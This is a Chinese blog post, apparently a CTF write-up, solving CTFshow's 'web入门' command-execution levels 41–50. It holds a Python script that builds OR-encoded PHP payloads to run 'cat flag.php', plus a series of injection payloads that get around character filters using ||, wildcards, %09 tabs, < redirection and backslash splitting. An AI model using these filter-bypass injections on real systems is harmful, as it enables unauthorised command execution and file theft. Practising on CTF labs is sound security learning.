web入门41-50

web41

分析代码
image
发现过滤了数字字母和一些符号,发现或(|)符号没有禁用,使用或运算表示各种符号,写一个脚本

点击查看代码
import re
import urllib
from urllib import parse
import requests

contents = []
for i in range(256):
    for j in range(256):
        hex_i = '{:02x}'.format(i)
        hex_j = '{:02x}'.format(j)
        preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-',re.I)
        if preg.search(chr(int(hex_i,16))) or preg.search(chr(int(hex_j,16))):
            continue
        else:
            a = '%' + hex_i
            b = '%' + hex_j
            c = chr(int(a[1:],16) | int(b[1:],16))
            if 32 <= ord(c) <= 126:
                contents.append([c,a,b])

def make_payload(cmd):
    payload1 = ''
    payload2 = ''
    for i in cmd:
        for j in contents:
            if i == j[0]:
                payload1 += j[1]
                payload2 += j[2]
                break
    payload = '("' + payload1 + '"|"' + payload2 + '")'
    return payload

URL = input('请输入URL: ')
payload =make_payload('system') + make_payload('cat flag.php')
response = requests.post(URL, data={'c': urllib.parse.unquote(payload)})
print(response.text)

直接输入URL即可获得flag,https要改成http
image

web42

分析代码
image
不管输入什么命令都不会有回显,可以用分号绕过
?c=cat flag.php;
image

web43

分析代码
image
发现过滤了分号(😉,使用||代替,tac代替cat
?c=tac flag.php||ls
image

web44

分析代码
image
比上一关多禁用了一个flag,使用*代替
?c=tac fla*||ls
image

web45

分析代码
image
多过滤了一个空格,使用%09(Tab键)代替
?c=tac%09fla*||ls
image

web46

分析代码
image
多了对数字和$、*号的过滤,用?代替*号,%09没有被过滤是因为在传送过程中被url解码变成了\t(制表符Tab),所以不会被过滤
?c=tac%09fla?.php||ls
image

web47

分析代码
image
只比上一关多过滤了几个查看文件的方法但没有禁用tac,继续用上一关的payload
image

web48

分析代码
image
还是没有禁用tac,继续用上一关的payload
image

web49

分析代码
image
发现禁用了%号,但不会影响,继续使用上一关的payload,因为%09会被解码所以同理也检测不出来%号
image

web50

分析代码
image
禁用了%09,使用<代替,不知道为什么?不能使用,用\来代替
?c=tac<fl\ag.php||ls
image

posted @ 2026-01-17 13:21  大雪深埋  阅读(3)  评论(0)    收藏  举报